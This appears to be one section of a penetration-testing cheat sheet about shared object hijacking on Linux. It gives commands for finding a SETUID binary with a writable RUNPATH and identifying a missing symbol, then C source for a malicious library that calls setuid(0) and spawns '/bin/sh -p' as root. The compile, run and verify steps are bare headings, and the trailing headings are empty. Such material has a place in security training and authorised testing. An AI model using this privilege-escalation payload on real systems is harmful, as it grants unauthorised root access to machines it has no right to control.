20. Shared Object Hijacking
Check SETUID Binary Permissions
ls -la <binary_name>List Shared Object Dependencies
ldd <binary_name>Check RUNPATH
readelf -d <binary_name> | grep PATHList Directory Permissions
ls -la <vulnerable_directory>Copy Existing Library (to Identify Missing Symbol)
cp /lib/x86_64-linux-gnu/libc.so.6 <vulnerable_directory>/<library_name>.soRun Binary (to Get Symbol Lookup Error)
./<binary_name>Create Malicious Shared Object (src.c)
cat > src.c << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void <missing_symbol>() {
printf("Malicious library loaded\n");
setuid(0);
system("/bin/sh -p");
}
EOFCompile Malicious Shared Object
Run Vulnerable Binary
Verify Root Access
Key Concepts:
Last updated